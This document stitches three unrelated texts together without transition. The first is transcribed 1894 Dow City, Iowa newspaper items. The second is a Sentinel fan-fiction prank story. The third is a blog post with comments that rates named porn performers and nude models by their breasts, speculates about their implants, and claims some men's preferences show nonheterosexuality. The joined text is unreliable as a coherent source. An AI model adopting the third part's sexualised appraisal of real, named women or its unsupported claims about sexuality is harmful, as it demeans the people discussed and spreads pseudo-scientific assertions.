Johnsbury, Vermont. During the year 1834, at Rome, N. Y. she was married to Mr. Shaw. At this place she lived on one farm 30 years. They came west in the spring of '65 and settled in Odgen, Ia. during the year 1870. Mr. Shaw died March 15, 1883. Mrs. Shaw became a Christian in youth and made the Congregational church the home of her choice. She lived a long and useful life. The consistent and devoted life of such is one of the best memorials to the Christian faith. It could be said of her, "Thou shalt come to they grave in a full age, like as a shock of corn cometh in in his season." But while she has been received home to her heavenly father, her memory remains as a cherished treasure to her friends and loved ones. Services were held at the house on Saturday afternoon. After music and scripture and prayer by Rev. Boyd, of the M. E. church, feeling words of tribute and comfort were spoken by Rev. Coffey, pastor of the Baptist church. After this the remains were taken to Ogden, Iowa for burial. *************************************** Denison Review 3-21-1894 DOW CITY We are glad to see the Dow City mills running again, so come to Dow City with your wheat. M. G. Wiggins is now at his old pace of business pounding iron and every ready to see all. R. A. Slocumb is on the sick list confined to the house since last Friday. Rev. W. E. Randall, a former pastor of the Baptist church preached last Wednesday evening. The revival meetings are still in progress at the Baptist church. Coon and Evans are now running the livery barn north of Wiggin's blacksmith shop. FOO LEE ************************************ Denison Review 3-28-1894 M. E. Church at Dow City on Fire Last Sunday morning the Methodist church at Dow City had a narrow escape from destruction by fire. Shortly after the fires had been started to warm up the church, the roof on the south side was discovered to be on fire. The alarm being vien immediately, many willing hands were soon at work to stop the progress of the fire, which was soon put out. The Church being saved was very fortunate, as there was a high wind prevailing, and everything being very dry, the adjoining buildings would undoubtedly have been destroyed. ************************************* Denison Review 3-28-1894 DOW CITY Mr. Paul Brake is not getting along as well as his many friends would like to see him. Willis Wiggins returned from his visit to Nebraska. He don't think much of the country where he was. The Epworth League will give a sociable at the home of Solomon Gibson, Friday evening, March 30. Well we came very near having a big fire Sunday morning. About half-past nine the roof of the Methodist church was discovered to be on fire, started from a spark falling on the roof. It took some time to get ladders long enough to get up to the fire. It did not take long to put the fire out, but a few moments more and it would have been beyond control. There was a strong wind from the north and once under headway it would have cleaned out everything on that side of the street to the south of town. Now is a good time to talk up a fire brigade. We hope that it won't end up in talk only but it is to be hoped that some provisions may be made to fight fire if there is any in the future. FOO LEE ************************************** Denison Review 4-4-1894 DOW CITY Local trade has been good the past week. The mill has all it can do, and there are numerous shipments of hogs and cattle. Dow City holds her own notwithstanding the hard times. Among the news items of last week is the marriage of Mr. M. J. Barrett, of Dunlap, who is well known in Crawford county to Miss Helen Thompson, of Hartford, Mich. Last Wednesday evening Miss Fanny Rudd was the recipient of a surprise party and many tokens of esteem, it being the anniversary of her seventeenth birthday. She is a very popular and estimable young lady. Last Friday evening the Epworth League held a sociable at the hospitable home of Mrs. Sol. Gibson. There was a fine program, the attendance was large and the young folks had a right good time. These entertainments are of great benefit because the young men will become too self respecting to loaf in saloons. I presume you will be glad to learn that Mr. George Rae was elected President of the school board of the Independence School District. He is a man of experience in school matters and one who will do the very best he can for the public, whether as representative, member of the board of supervisors or school director. MERCHANT ******************************* Denison Review 4-25-1894 DOW CITY E. N. Chamberlain is happy. Why? Because the flood of last week brought them a nice little girl. And if the coming of one little girl makes a home happy what happiness there must be in the home of Newton Lee, where there are twins, a boy and girl. Thos. Butler who built a new house south of town last winter, had it destroyed by fire last Tuesday afternoon, with most of the household goods. There was some insurance. Tuesday night of last week Dow City was flooded as never before, washing away side-walks, fences, filling cellars and in some places getting into the houses and also doing damage to the mill-dam which is now being repaired. Last Thursday night some person or persons entered the Post Office and blowed the safe to pieces and all they received for their trouble was about 20 cents. The Post Master had just received $165 worth of stamps in the day before but he put $100 worth in the bank and the burglars took the rest and scattered them everywhere. The safe is mined beyond repair. Mr. Paul Brake who has been sick for over two months, died last Saturday afternoon and was buried Monday forenoon. The funeral sermon was preached by Rev. Boyd at the Methodist church. Mr. Brake had lived to be over three score years and ten. He never had been sick a day in all his life until taken sick in the winter. We shall miss him. Everyone had great respect for him. The family have the sympathy of all in their bereavement. All members of Rudd Smith Post, No. 464, G. A. R. are requested to come out Friday evening, April 27th, to make arrangements for memorial service. ********************************************* Denison Review 5-16-1894 Entertainment An entertainment will be given at Dow City, Iowa, at Green's Hall on Saturday evening, May 19, by the Dow City Musical, assisted by the Ladies' Band of Dunlap and others: - PROGRAMME - Opening Selection ....Ladies' Band - Chorus --- Hail to the Sea - Duet ...From Over the Sea .... Mrs. Chas. M. ..., L. M. Coon - Trio ... Roses and Violets Mesdames Swasey, Green, Wilder - Male Quartet .......Selected Messrs. Stone, McHenry, Schouten, Coon - Instrumental Music .....Selected Ladies' Band - Solo ... Across the Bridge .... F. S. Stone - Solo ... L. C. Butler, Nellie Bonney - Comic Quartet ....Fortune Teller ..... Leslie Stone, Schouten, Mrs. Wilder, Mrs. Swasey - Solo .... The King and the Miller...Keller Chas. McHenry - Duet .... O Haste Crimson Morning Lucia... the opera Schouten and Stone - Instrumental Music ....Selected... Ladies' Band - Quartet ... Court House in the Sky ... Mrs. McHenry, Mrs. Schouten, Messrs. Stone and McHenry - Violin Solo .... Selected C.M. Wilder - Male Quartet ........ Selected Stone, McHenry, Schouten, Coon - Instrumental Music ..... Selected Ladies' Band - Double Quartet ... Good Night .... Leslie Mrs. Slocumb, Mrs. Green, Mrs. Schouten, Miss Mosher, Messrs. Stone, Brake, Coon and Schouten ******************************************* Denison Review 6-20-1894 DOW CITY Mrs. Mary Rudd has started a restaurant in the old sanitarium building. There will be a game of ball here Friday between the Dunlap and Dow City clubs. Ben Heath returned from a few days outing at Hot Springs, S. D. last Saturday evening. We would be well pleased to see our friend D. L. Boynton, receive the nomination for Judge for this district. Ed. Morris who has been working in Goddard's wagon shop since last fall, left Tuesday morning for his home in Arkansas. N. R. Wilder and wife left for a visit to Mr. Wilder's brothers, Frank and Carl who reside in Salem, Mass. They will be gone about four weeks. The Methodist church has given Pastor Boyd a vacation for three weeks. He with his wife and daughter left on the flyer Monday evening for a visit to Mrs. Boyd's parents in Virginia. The American Eagle will scream again in Dow City on the Fourth. Arrangements are being made for one of the grandest celebrations ever had here before. Everyone that came to Dow City on the Fourth never went home disappointed, so come again and have a good time for there will be amusements for old and young. The saloon keepers, of Dow City will not run under the new law, so the town will go dry. FOO-LEE *********************************** Denison Review 6-27-1894 THE FOURTH AT DOW CITY The big Fourth will be in Dow City this year. Complete arrangements have been made for the grandest 4th of July celebration ever held in Dow City. A conference of the various committees discloses the following list of attractions making one grand continuous series of stirring speeches, exciting games, imposing parades, and magnificent display of fire-works, the whole bombarded with blasts of music from two brass bands, and softened with strains of male quartet and chorus singing: The usual cannonading will take place at sunrise and from that time until the great parade forms at 10 o'clock. The fire-cracker fiends and lemonade venders will entertain you. Starting from Woodman Hall a grand parade will follow the escort, speaker and choir to assembly grounds to the south side of town when the oration will be delivered by Rev. J. B. Harris of Denison, Iowa, whose reputation as an orator extends far beyond the limits of Crawford County. Then comes dinner. Numerous picnic tables will be constructed where parties can enjoy picnic dinners by themselves, or patronize the various eating establishments which will be good to meet the wants of the people. During the afternoon, regardless of the program of sports a reception committee will meet the Denison excursion train at the depot to conduct them to the assembly grounds where an address of welcome will be made, responses thereto, and short pithy speeches and lively songs will be given for the entertainment of those who do not care to see the games and races, which will being promptly at 1:30 pm consisting of a 100 yd. Foot race, 1:45 pm boys race 100 yds., 2 pm ; show race, 2:10 3-legged race; this will be great fun. 2:20 p.m. potato race; 2:30 relay race. The Dow City team challenges any team or combination for this race. 2:45 p.m. 1 mile running horse race. Liberal purses will be offered for all of the above races. Correspond with committee for detail. At 3:30 pm the grand sporting event will take place at the base ball park in old time contest for blood and money between the Denison and Dow City ball clubs. This winds up the list of attractions before supper. At 7:30 in order to have ample time before the fire works, the Dow City minstrel quartet club will give a grand concert in Green's Hall, rich with negro melodies, laughable specialties, including the well known work of Chas. McHenry with an endless supply of side splitting songs that need no comments ending with one of Chas. McHenry's most laughable comedies. A most dazzling hail storm of Roman candles, sky rockets, etc. will conclude the gay and noisy program of 94 celebration, leaving the enticing strain Chase and Valentine orchestra to have the fantastic trip to while away the remaining hours at this bowery. ********************************************** Denison Review 7-4-1894 DELOIT N. P. Larson and wife and little daughter Mildred, are visiting Mrs. L.'s parents at Marine Mills, Minn., and will remain until after the fourth. J. E. Johnson came in last week from Dickens, Neb. With the intention of locating. He reports that Southwestern Nebraska is burned out. The Misses Grace and Maude Milliman, two of Harrison counties popular school marms, visited their aunt Mrs. Margaret Hunt and other relatives last week. Messrs. Bullock and Dunbar were transacting business in our village last week. Elder F. M. Weld of Lamoni, Iowa, is spending a few days here, the guest of C. J. Hunt. One more added to the L. D. S. church last Sabbath by baptism. Elder C. J. Hunt officiating. ********************************* Denison Review 7-11-1894 THE FOURTH AT DOW CITY (Dow City Enterprise) July 14th, 1894 in Dow City will long be remembered by about three thousand people who were present. The day was perfect and early in the morning teams began coming into town, and by ten o'clock the streets were lined with teams, and all the feed stables were filled to their utmost capacity. The procession formed in front of Woodman Hall and marched to the grounds, headed by the Denison band which furnished excellent music during the day. The address by J. B. Harris was a masterly effort and was listened to by a large number of interested people. In the afternoon when the Denison excursion arrived, they were escorted to the grounds by a committee of citizens headed by the band. The toasts and responses were witty and of a high class. The singing by the glee club was excellent. The 100 yard boys race was won by Butterworth, Peacock 2nd. The potato race was won by Goodall. The three legged race was won by Slocumb and Whaley. The relay race was won by the Dow City team. The show race was won by Binnalll, the horse race by Walburn and the 100 yard foot race by Slocumb. The next attraction was at the base ball park where Dow City and Denison played. The game was devoid of interest, there being but few good plays, but a whole lot of errors. The game was won by Denison. The fireworks and the male Quartet entertainment ended the program in the evening. ****************************************** Denison Review 7-18-1894 Ball at Dow City The Review acknowledges the following invitation with thanks, and we have no doubt there will be a large attendance and the young folks will have a good time: "Yourself and ladies are cordially invited to attend the Grand Benefit Ball, to be given by the Dow City Base Ball Club on Friday evening, July 20th, 1894, at Green's opera house, Dow City, Ia." ********************************************* Denison Review 10-24-1894 Dow City Seeing that your usual correspondent neglects to narrate the passing events of our burg and vicinity and fearing lest our community be forgotten, we attempt to jot a few items. Also our mind has been freed from a great anxiety. We had heard so much of the Prof. Oracle, Gen. Weaver, and his wonderful philanthropic and reformative tendencies that we actually feared he would put this United States in his coat tail pockets and carry it away to some more congenial clime, where only the faithful would flourish. But, presto, we heard him make a speech. Judging from the impression he seemed to make he will lack about twenty-five thousand votes of carrying away the ninth district. We expected to hear a smart man give an able discussion of Populist principles but were sorely disappointed. If Gen. Weaver is a brainy man he failed to show any samples at Dunlap the 17th. His speech was about an equal mixture of Christian Science and Democracy. Almost one third of the time was devoted to convincing the audience that we never had been prosperous and if we only thought so we were just as prosperous now as we ever were. Another third on the money question, the blunder of this cry being that if the government stamped a piece of paper and called it a dollar, only think so, and it would be a dollar. The rest of the time was spent in showing or rather attempting to show what ridiculous positions Hagan, his opponent had taken. The weather seems to have queerly affected politics. Of three species hereabouts Republicanism alone flourishes and promises to bring fourth at least a hundred fold. But the drought seems to have withered and left lifeless Democracy except in cases of individual irrigation. Populism seems to do best on thin soil but it takes lot of blow to keep it going. Gen. Beeson speaks in Green's Hall Wednesday evening Oct. 24th. The Male Quartette will sing some of their inspiring songs. Everybody invited. Farmer ******************************** Denison Review 12-5-1894 Dow City News Enterprise Our last information from Rev. Boyd was to the effect that he was getting better and bid fair to fully recover which we are glad to note. The Thanksgiving dance last night was well attended. Mr. and Mrs. R. P. Hamilton bid good-bye to their many friends last Monday and boarded the train for Buffalo, N. Y., where they expect to make their future home. Mr. Datus Thew, of Buck Grove, has purchased the livery barn of Dr. W. H. Evans and will take possession next Saturday, December 1st. Mr. John Coon, who has been in charge has been retained for a while by the new proprietor. Dr. Evans, who has partially closed out his business interests in this place, informs us that he has not yet decided what he will do in the future, but for the present will remain a citizen of Dow City, and when he decides to move away, he thinks it will not be far. We heartily wish him success in what ever he undertakes. Mr. W. W. Brown died at Basset, Neb. And was buried in the Buck Grove cemetery. He was an old and highly respected citizen and the funeral was largely attended. ************************************************** Denison Review 12-19-1894 Dow City Items Enterprise A Mr. Miller, who was in some way connected with the Arion Paint Co., went suddenly insane and was taken to Denison and examined by the commissioners of insanity Wednesday, who ordered him sent to the hospital for the insane to which place he has been taken. Rev. C. Green, of Denison, will occupy the pulpit at the M. F. church in Dow City next Sunday. Miss Addie McCord, of Denison, is spending a few weeks with her aunt, Mrs. J. P. Duncan. ********************************** Denison Review 12-19-1894 A Telephone to Dow City Dr. W. B. Evans has raised several hundred dollars to establish a telephone to Dow City. It will be a great advantage to business men, and enough money is already pledged to ensure success. Our own citizens have subscribed liberally. ******************************** Dow City news articles from 1870 to 1897 submitted by Melba McDowell

It's My Turn Now! Blair Sandburg pushed his hair back behind his ear as he started to sort through his mail. He smiled as he came to a familiar envelope, a heavy peach colored one. He slit it open, nearly laughing out loud at the simple note. It's Time. Do Your Worst. Rate The City. He stood up and headed to go find his partner, waving the letter. "Oh, Jim," he called. "I just got permission. Can I keep the bonus this time? I need a few new books." Jim Ellison, sentinel, cop, and gorgeous stud, leaned over the railing up to his bedroom. "What?" "I got a letter," he said, waving it. "But I need the bonus this time." Jim frowned and came down the stairs, looking at the letter. "This was a dream," he noted quietly. "It was all a dream. This isn't real." "Huh?" Blair asked. "Chief, I got one of these, but it was a dream." Blair reached over and pinched him as hard as he could on the side of the neck. "Ow!" "You're not dreaming, Jim. I get to mess with the city and we'll get paid for it." He took the letter back, going to plan his assault. "Maybe a book switch," he said thoughtfully as he retreated into his bedroom. "But it was a dream," Jim told himself. He looked around, but there wasn't a hint of a spirit guide. "Blair, you can't," he called. "I'd have to arrest you." He walked through the door, and a bright flash went off. Jim was stunned, too stunned to realize his Guide had just turned on him. Blair carefully lowered Jim to his bed and smirked at him. "Never thought you'd be there, Ellison," he said, going back to his plans. He needed some help. "Simon," he said, snapping his fingers and grabbing the phone. The Captain would be in the office. "Hey, Simon, it's Blair." He fiddled with his hair. "I just got a great letter saying it's my turn to screw with the city." He glanced at Jim. "Yeah, he thinks it's a dream," he snorted. "It must have been the drugs. Thanks for going to bat for him by the way." He listened, then laughed. "No, I have a *much* better plan, but I'll need a sidekick. You up to it?" He laughed. "Great! No, we'll do dinner tonight." He hung up and turned to look at his sentinel. If Jim only knew. *** Blair leaned back, watching his students take a final. His plan was in motion and it was *good*. He smirked as one student, who had been listening to a radio station, that's how he tested best and Blair had checked to make sure it was only a radio feed, sat up and raised his hand. He waved the kid up, listening to him babble. "You've got to hear this," he whispered, handing over the ear buds. "Prof, this is just too cruel." He danced while Blair listened to the news broadcast. "Today in Cascade, someone has exchanged all the steak houses meat stores with tofu. There is no steak in Cascade!" the announcer said with great feeling, and sounding hungry. "All of the vegetables are still there, but none of the steaks. Who could have done such a thing?" Blair chuckled and handed the ear pieces back. "Yup, someone's up to something," he agreed. "Go finish. I'm sure this is going to be fun." The student ran back to his test, wanting to get out of there so he could go find out how much longer this was going to be. Blair just relaxed. This was all good. *** Blair smiled up at Jim as the cop turned on the nightly news. "Did something happen? You look really tired, man." "Sandburg, would you know anything about the shortage of steaks we've had today?" Jim asked carefully. Blair shook his head, looking innocent, but not too innocent. "Not a thing, man, it's finals. I've been writing and grading for the last three days. Besides, why would I remove all the steaks? That's more my mother's thing. I do eat meat, Jim, really." "I know," Jim said as he sat down on the couch, staring at the screen. He turned up the volume when the picture caught his attention. "Somehow, all the teachers in the fourth through eleventh grade found in their inboxes today an order to start giving students more book reviews. We weren't aware that the Cascade School Board was running a pilot program, but today they upheld the decision saying it would raise test scores and would only help their students who were heading toward college." The anchor turned to face another camera. "Also today, there was a small protest outside city hall. The college- aged students stood out there with signs complaining about the level of smog in the city. A few of the City Council members came down to talk to them, and only one got mean and yelled. Those watching it said it was a miracle." He smiled. "In other news, sports!" he said happily. Jim glanced at Blair. "Did you know about the protest?" Blair nodded. "Yup. The Poly-Sci department organized it. It was a senior project for one of the students, proving that today's kids could effectively organize and protest because the teacher thought real protests were dead." He smiled. "It was so cool. The students all kept their cool. No one was arrested. It's supposedly the most peaceful protest anyone's seen recently." "Their signs were interesting," Jim agreed. "What was that math equation?" "Something to help figure out the amount of smog a single person inhales in an hour," Blair said with a shrug. "They used the hallway in my department to paint the signs and that's what was told to me when I asked." He stood up. "Want a beer?" "Yeah, please," Jim said, looking thoughtful. "How did you hear about the steak thing?" "One of my students works best with music so I graciously allowed him to wear a radio to his tests. Standard in-the-ear headphones, low volume, I check every time. The news broadcast about the steaks came over while he was writing an essay." Blair brought back two beers and sat down to watch the sports scores go past. "Hey, we won," he said happily. "Our girls golf team is really hot this year." "Blair, it's golf," Jim pointed out. "Yeah, but we've got a kid that's really hot. She's thinking about trying out to do the Pro tours." Blair sipped his beer, staring at the TV. "It still wasn't me, Jim. Quit worrying. Simon knows about the letter." "Uh-huh," Jim said, taking a gulp of beer. "What did he say?" "That he was looking forward to it." Blair grinned at him. "It wasn't a dream, Ellison. It was the drugs." He went back to watching the TV. When the news was over, Blair got up and went into his room. He had some grading to do. Jim relaxed and thought about it. Blair was right, he wouldn't have done anything to the steak supply, Sandburg was an omnivore. He usually ate tongue and birds, but he still wouldn't have hurt the steak supply. He shrugged off his thoughts and went up to his room, hoping for a real night of sleep. It was going to be a long day tomorrow. He had caught the steak case and there were no clues. *** Blair handed his last grade sheet to the Chair and gave her a smile. "I'm off for my whole two days of break," he told her. "See you at graduation." She chuckled. "You didn't have to take the first summer session, there are other teachers with less time in." "Yeah, but I have *plans* for the last session," Blair said with a naughty grin. He nearly danced out of the office, but he managed to contain himself. He had things to do in the next two days. Besides graduation tomorrow. He climbed into his car, smiling as the engine actually started on the first try. Today was going to be a good day. He drove off, heading to the police station. It might technically be cheating, but he wasn't going to interfere with Jim's investigation. Just listen to him gripe about it. He grinned at his image in the mirror and moved a little faster. *** "Simon," Blair called as he headed into the Captain's office. "Hey, man, what's up?" he asked as he closed the door behind him. "Sandburg," Simon said, glaring at him. "The steaks?" "Wasn't me, man," Blair said with a smile. Simon groaned and shook his head. "If you say so. What's next?" Blair just continued to smile. "I see. Don't trust me?" "Ah, but you assigned *Ellison*," Blair pointed out, sitting down across from his friend. "How can I compete with that?" Simon gave him a disbelieving look. "No, really, the steaks weren't me. A funny idea, but not mine." Simon's mouth fell open. "You have help," he accused. Blair smiled again. "Your mother's in town, isn't she," he accused, standing up. "I'm going to tell Ellison if you don't confess," he warned. Blair leaned closer. "It's not my mom, man. She approves of the exercise, but couldn't come." He smiled again. "But yeah, I've got *plans* and I'm not alone. How do you want them this time?" Simon sat down hard, staring at his friend in shock. "You've gotten someone on the top ten list?" Blair shrugged. "No, not Cascade's," he said as he stood up. "But we'll deal. How do you want them?" "Begging and on their knees as they crawl through the office," Simon said firmly. "Good!" Blair said happily. "I can do that." He walked out, going to help Jim with his other cases. It wouldn't be fair to help him on this one after all, but Jim was a bright guy, he'd eventually figure it out. He stopped long enough to talk to Henry Brown, another detective, and then went to type things in for Jim. *** Simon turned on the radio in his office, nearly swallowing his cigar when he heard the news. "We are in a stand-off situation at the college," the announcer said in a breathless voice. "It seems a professor of Anthropology has been taken hostage. Cascade's SWAT team has been called and is on the scene, but we can't get a word out of them. Captain!" he yelled. "Please, a comment on the situation?" "This isn't fun and games," the SWAT Captain said, and the radio went to static. Simon groaned and waved his hand, bringing his detectives running. "Someone's holding Sandburg hostage," he told them. "I don't think this has anything to do with his *letter*, but it never pays to underestimate the man." Henry Brown shook his head. "Good, then I pity the man who's doing this. Go help the SWAT team before the Chief makes this official." The detectives all ran out the door, Jim leading the pack. Simon picked up the phone and dialed his boss. "Sir, this isn't part of Sandburg's plan," he said quietly. "I've gotten confirmation from someone who's working with him." He swallowed. "Yes, sir. No, he's denied it, sir, but I do know he's got outside help. No, sir, he's giving us a gift-wrapped criminal. Yes, sir," he said, starting to smile. "I'm sure. He said it wasn't on Cascade's top ten list, but apparently I'm going to be pleased to get him." He laughed. "Yes, sir, I'll tell him about that. Yes, sir, it was fortunate that your neighbor had a steak for your pregnant wife." He laughed and hung up, leaning back in his chair. "Okay, Ellison is there, this will work." The news broadcast came back on and he listened to it with a critical ear, trying to figure out when Jim got there. *** Sandburg looked over at his partner, then typed another message into his chat area. Then he closed up his computer and went to put it away. "Who were you chatting with?" Jim asked, not looking up from his magazine. "An old friend of my mother's." Blair came back and leaned down to look at the article. "Thanks for saving my butt today. That guy was very psycho and I was actually scared there for a few minutes. Especially when I heard it was only SWAT outside." Jim grunted so Blair took the magazine. "I was thanking you?" he noted. "Make me dinner and it's even," Jim suggested, taking his magazine back. "Preferably steak?" "Sure, I stopped to pick a few up, just in case," Blair said, going to find a steak for his partner. It was the least he could do after a spectacular save. It wasn't too long before he came out with a thick broiled steak for his partner. "Blair, this is a professional steak," Jim pointed out when he saw it. "Yeah, see one of my students busses over at the chain steak place near the college. He got me a pretty good deal on a few of their steaks to go. Only I had them give them to me raw and I stored them in the freezer in case they run out again." He bounced lightly. "Any luck on finding the other steaks?" "No, they're probably gone by now," Jim groaned. He cut into the inch-thick hunk of meat and moaned as he ate it. "Great," he said between bites. Blair took good care of him, this steak proved it. Within a few minutes, he was asleep on the couch, the bones of his steak all that was left to show his last meal. Blair chuckled and went to clean up after himself. Then he called Simon to come get Jim. His sentinel needed to be *far* away for the next day. A good steak was an excellent enticement to nap. Once Jim was gone, Blair pulled out his laptop and reentered his chat room. It was time to solve this. He saw the unfamiliar name and shook his head, sending out the coded message to go to the backup place. He wasn't the average stupid criminal. *** Simon looked up as Blair was led into the Major Crimes bullpen, standing up to stare at the man in the suit that had Sandburg in handcuffs. "What are you doing?" he demanded. "You arrested a member of my team?" "Captain Banks, we're aware of your Governor's plans," the agent said calmly. "But some of the plans are too disruptive to be allowed to continue." He released Blair and shoved him. "Please try and keep him out of trouble." Blair smiled at him. "You'll pay for this," he said kindly. "My mother saw you." Simon groaned. "I thought you said she wasn't in town." "She came in last night," Blair informed him, still smirking at the agent. "I'd retire, man, my mother's not the woman to mess with." "Yes," the agent said with a smile, "but assaulting an officer or a federal agent is still a crime, Professor Sandburg." He turned and left. "What were you planning?" Simon asked him. "Just a backwards movement," Blair said cryptically. He flopped down into a chair and sighed. "They had a hacker tracking me online. A great plan, but they have no idea." He smiled. "Ten minutes," he warned. Then he got up and walked out. Simon walked out and scrambled his men, they needed to be ready for anything. He watched Henry Brown, but he looked really confused. Apparently he wasn't in on this part of the plan. *** Simon moaned in pain as the clocks in the city all stopped and started to run backwards. Someone had even hacked the city's intranet and messed with their clock somehow. All the clocks that were run by computer were running backwards. Maybe even... He picked up his phone and called the computer department. "With what's happening, could this work on banks?" he asked without preamble. The answer he got made him smile as he hung up. "So, a theft," he said calmly, leaning back. "Not so bad of a plan." He sat up as a messenger walked into the office. Across town, a thief was breaking into a jewelry vault, leaving the money where it was. He couldn't distinguish which was common people's money and he didn't want to rob them, he had never robbed a commoner in his life. He lifted out the jewels, looking at them. "Fakes!" he screamed. "That dirty double crossing idiot," he yelled, slamming down the jewels. A note fell off the back of a particularly gaudy necklace so he picked it up and read it. "Police headquarters? Why?" He flipped the note over and smiled. "Ah, so *that's* where the real haul is. He was right, this will make my career." He gathered his tools and headed out, going to get the real jewels. *** Simon looked out his window as a man came crawling through the doorway. He got up and went to go meet him, frowning down at him. "May I help you?" he asked, trying to keep a straight face. "Yeah, I'd like to give myself up," the man said weakly. "I'd rather go to jail than have *him* be pissed at me anymore." He held up his already chained hands. "Please, Captain?" "Sure, son, let's go talk about which *him* you mean," he said, helping the man up and taking him into an interrogation room. "Why were you crawling?" "Because I pissed off that nice, innocent looking professor," he said, his eyes still wide. "And I'm really sorry. Can you tell him that?" "Sure," Simon said, smiling at him. "What's your name, son?" "I'm known as the Black Shadow," he said, looking happier. "I wasn't always happy with the nickname, but now I'm quite proud of it." "As in the world-class thief? The guy who managed to get a piece of the British crown jewels out of England?" The guy nodded. "What did you do to piss Sandburg off?" "I made fun of his mother!" he said, starting to cry. Simon patted him on the shoulder. "It's all right, many a man has underestimated Naomi Sandburg," he said kindly, grabbing the tape recorder kept in the room for confessions. "Sit down, we'll get this started. Do you want a lawyer?" The thief shook his head. "All right, sign this form," he said, pulling one out and handing it over with a pen, "and we'll get started right now." The thief quickly signed the form and handed it back, starting to babble his life story. Simon was very happy, a big bust like this would definitely get him a raise. The FBI hadn't even gotten a picture of this guy. Yup, definitely a raise. *** Blair looked up as the loft's door slammed. "Hey, Jim, how was your day?" he asked. He finished filling out his evaluation form and put it an envelope, sealing it before Jim could snatch it. "Nope, you know better." "Sandburg, how did you get someone to steal the beef?" Jim asked calmly. "One of my mom's friends. Did you catch him?" Jim nodded. "Cool." He handed over a key. "To the cooled warehouse." Jim flopped down and looked at his roommate. "How did you do this? I could *never* plan anything like what happened today. Even one of the lower end mafia thugs turned himself in." He glared. "The chief wants to hang you because his pregnant wife wanted a steak the day they disappeared. The Governor wants to kiss you and shake your hand because you let Simon make a very high profile bust and I got a few good lower-level people out of this. I'm not sure if I should congratulate you or not." "Just doing my job for the department, Jim, just doin' my job," Blair said smugly. He tossed over the evaluation. "Give that to the courier." "Sure. How did we rate?" "Great actually. Same as last time. Simon's bust is going to make Major Crimes very popular again, but not you. That's why I gave him the thief. Oh, and my mom said to tell Simon he was welcome." He got up and headed for the bathroom. "I'm going to soak. Yell when you have dinner fixed." Then he shut and locked the door. Jim leaned back and looked at the envelope. This was going to be a good one, he just knew it. THE END.

Feminine beauty. The reply to this contention is best posted in a new article, and this is it. I do not have survey results to answer the question that has prompted this article, but pictures speak for themselves. I looked up porn stars that had received top Adult Video News (AVN) awards, considered to be the Oscars of Porn, during 1995-2007, in the categories of best new starlet, female performer of the year, best actress and best supporting actress. There were a total of 54 women. I ignored all cases where breast implants were not clearly seen and counted 27 (50%) with breast implants. Take a look at the pictures of the pornstars with breast implants. Then look at the following video clip of Zuzana Drabinova, taken from Twistys. I have posted her pictures previously, but now it is necessary to look at her breasts in motion. If you are reading this then you either have javascript turned off or do not have the flash plugin installed. Get Flash. Download video clip (wmv, 25 MB). Does anyone seriously believe that pornographers would disproportionately decline the likes of Ms. Drabinova in favor of women with breast implants, as in the pornstars with fake breasts considered above? Keep in mind that pornographic actresses are generally young adult women and hence if they have well-endowed breasts (generous deposition of fat plus well-developed supportive connective tissue structure), then the breasts will look good in motion. So why is Zuzana Drabinova not seen in pornographic [male-female sex] videos? Because she refuses to have sex on camera, not because the pornographers are declining her offer. Few women with her looks would be willing to have sex on camera, let alone be engaging in disinhibited sex acts on screen. The reader should also observe the general looks of these top pornstars and wonder whether their “good looks” have made them top stars. Do not forget to compare their looks with those of the women in the attractive women section. I am confident that those that have gone through enough of this site and even many newcomers will find most of the pornstars unimpressive/unattractive and also note the high frequency of masculinization in them (search for more of their pictures). So do the looks of the top pornstars reflect the optimal preferences of male customers or is it that these women are the best that the pornographers can come up with but are nowhere even close to real feminine beauties that heterosexual men are most strongly interested in? There is indeed a subset/genre of porn that focuses on women with large breasts, but the reason it doesn’t do as well as other porn is that these women are often overweight or obese in addition to being disproportionately masculine. Some men are into pornstars with small/very small breasts, but this is not necessarily because they have a preference for underage physiques because many such pornstars clearly have adult physiques. The latter preference can be due to other factors such as the small-breasted women being popular because of their disinhibited screen presence or the male customers lean toward nonheterosexuality/are not exclusively heterosexual. Forget about porn, top feminine beauties will generally not even pose nude, yet the contrast between the women in the attractive women section and top-ranked pornstars is clear. Imagine if there were a major mainstream outlet for feminine beauty. What kind of women will the masses see? Quote: "Does anyone seriously believe that pornographers would disproportionately decline the likes of Ms. Drabinova in favor of women with breast implants" Yes, pornographers WOULD decline the likes of Zuzana Drabinova in favor of women with breast implants because Zuzana Drabinova's natural breasts are not as firm and upright as implants of the same size would be. Drabinova individually may refuse to have sex on camera, but that hardly proves that all of the nude models Erik has found who have not done porn have turned porn down rather than being turned down by pornographers. Many male regular porn fans do not give a damn what is or looks "natural". Fake breasts, fake bleached hair, fake eyelashes, fake noses, fake cheek implants, fake collagen lips, fake chin implants, fake acrylic fingernails, and fake who knows what else are fine with them. If you think most men prefer natural looks, I have two words for you: Pamela Anderson. By FAR the biggest female sex symbol of her generation, and everything on her is fake. Pamela Anderson's success cannot be attributed to willingness to perform "atypical/disinhibited sex acts" because Anderson rose to fame as a nude model, not a porn star, and was already the biggest sex symbol in the world before the marketing against her will of her private sex tape. The Zuzana Drabinovas of the world will never have as many male fans as the Pamela Andersons. Quote: "The reader should also observe the looks of these top pornstars and wonder whether their “good looks” have made them top stars." Who said top porn stars are successful because of their "good looks"? Jenna Jameson is the highest-earning porn star of all time, with a personal fortune estimated at $30 million, and I doubt even her biggest fans really believe she's the most beautiful woman in porn. A porn star's success is based less on "good looks" than on sexual skills, ability to cause erections in male co-stars who have to work on schedule, ability to enable male co-stars to maintain erections while delaying orgasm, deep throat oral sex skills, and whatever else comprises any particular porn star's repertoire. In terms of porn stars' faces, most regular male porn fans prefer women who with extremely overtly suggestive, vulgar-looking faces such as Jenna Jameson. Zuzana Drabinova doesn't have what it takes to be a huge porn star even if she were willing. Quote: "male customers lean toward nonheterosexuality/are not exclusively heterosexual." Erik, accusing men who disagree with your taste in women of being gay or bisexual is a ridiculous, unprovable cop out. Zuzana doesnt seem to be particularly beautifull despite her lovely body,femininity may be a correlate of beauty but it is not the overall judge of beauty. Are you sure Miss Drabinova doesn't have implants? I look for concavity above the nipple and changing shape with body position. On some of the side views, her upper breast is almost flat, but not concave. Her torso is almost verical throughout, which is inconclusive. There is a little bit of jiggle when she takes off her blowse, but that could be the natural tissue over the implants. If they are fake, her doctor did a nice job. If they're real, they're spectacular. Marisa Miller, on the other hand, has clearly natural boobs. The following images show changing breast shape and concavity. Ms Miller had an early gig with Perfect 10 magazine, which specializes in unenhanced beauties. She may have had surgery after that, but I can't imagine why. Natural breats are way more attractive than those fake plastic things, no matter how small Does Pason aka Red Heaven have fake boobs A follow-up on the article, addressing inferring men’s preferences 